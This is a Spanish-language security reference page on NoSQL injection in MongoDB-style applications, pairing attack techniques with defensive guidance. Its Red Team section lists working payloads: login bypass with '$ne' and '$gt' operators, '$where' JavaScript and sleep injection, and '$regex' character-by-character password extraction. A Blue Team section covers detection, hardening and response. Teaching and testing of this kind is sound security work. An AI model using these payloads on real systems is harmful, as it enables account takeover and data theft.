Inyección NoSQL
Las bases NoSQL (MongoDB, CouchDB, Redis…) no usan SQL, pero sí son inyectables: si la entrada del usuario llega a la consulta como operadores o como código, el atacante altera la lógica. Lo más común es en MongoDB con apps Node/PHP que pasan objetos JSON del usuario directos a la query.
Modelo de amenaza
Sección titulada «Modelo de amenaza»Bypass de autenticación, extracción de datos (booleana/por tiempo), y en algunos casos
ejecución de JavaScript del lado del servidor ($where, mapReduce).
Anatomía
Sección titulada «Anatomía»En vez de romper comillas, se inyectan operadores del motor. Si el backend hace
db.users.find({user: req.body.user, pass: req.body.pass}) y acepta objetos, el
atacante envía operadores en vez de strings.
Red Team
Sección titulada «Red Team»Bypass de autenticación y extracción
Sección titulada «Bypass de autenticación y extracción»# Bypass de login (operador en JSON){"user":"admin","pass":{"$ne":null}}{"user":{"$gt":""},"pass":{"$gt":""}}
# En query string (sintaxis PHP/Express)user[$ne]=null&pass[$ne]=null
# Inyección de JavaScript ($where) - si está habilitado{"$where":"this.pass.match(/^a/)"} # extracción carácter a carácter
# Booleana / por tiempo (ciega){"$where":"sleep(5000)"} # retardo condicionalConfirma por diferencia de respuesta (login OK/KO) o por tiempo cuando es ciega.
Extracción ciega (ejemplo)
Sección titulada «Extracción ciega (ejemplo)»Con $regex se saca la contraseña carácter a carácter observando si el login responde OK o KO:
{"user":"admin","pass":{"$regex":"^a"}} # ¿empieza por 'a'? -> OK/KO{"user":"admin","pass":{"$regex":"^ad"}} # siguiente carácter{"user":"admin","pass":{"$regex":"^adm"}} # y así hasta reconstruirlaAutomatízalo iterando el alfabeto por cada posición (script propio o NoSQLMap). El mismo patrón sirve por tiempo con $where:"sleep(...)" cuando no hay diferencia visible en la respuesta.
Herramientas
Sección titulada «Herramientas»NoSQLMap, nosqli, y Burp para inyectar operadores en JSON/parámetros.
Impacto y encadenamiento
Sección titulada «Impacto y encadenamiento»ATO (bypass de login), volcado de datos, y RCE del intérprete JS en configuraciones con
$where/mapReduce habilitados.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Parámetros con operadores (
$ne,$gt,$where,$regex) o tipos inesperados (objeto donde se espera string). - Consultas con
$where/JS; latencias anómalas (ciega por tiempo).
Telemetría y fuentes
Sección titulada «Telemetría y fuentes»Logs de la BD y de la app, WAF con inspección de JSON.
Hardening
Sección titulada «Hardening»- Validar y castear tipos: esperar string donde debe haber string; rechazar objetos/operadores del usuario.
- No pasar objetos del usuario directos a la query; construir la consulta con campos concretos.
- Deshabilitar
$where/JS del lado servidor si no se usa. - ODM/esquemas (Mongoose) con validación estricta.
Respuesta
Sección titulada «Respuesta»Rotar credenciales si hubo volcado, corregir el manejo de tipos, y añadir detección de operadores.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- Bypass de autenticación por NoSQLi (
{"$ne":null}) es un patrón clásico en apps MEAN/MERN mal validadas; frecuente en bug bounty y CTFs. - Varios frameworks/parsers han permitido que
param[$ne]=llegue a la query.
CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).
Checklist de prueba
Sección titulada «Checklist de prueba»- Probado bypass de login con operadores (
$ne,$gt). - Probada sintaxis en JSON y en query string (
param[$ne]). - Probado
$where/JS si está habilitado (extracción/tiempo). - Impacto documentado sin volcar datos reales.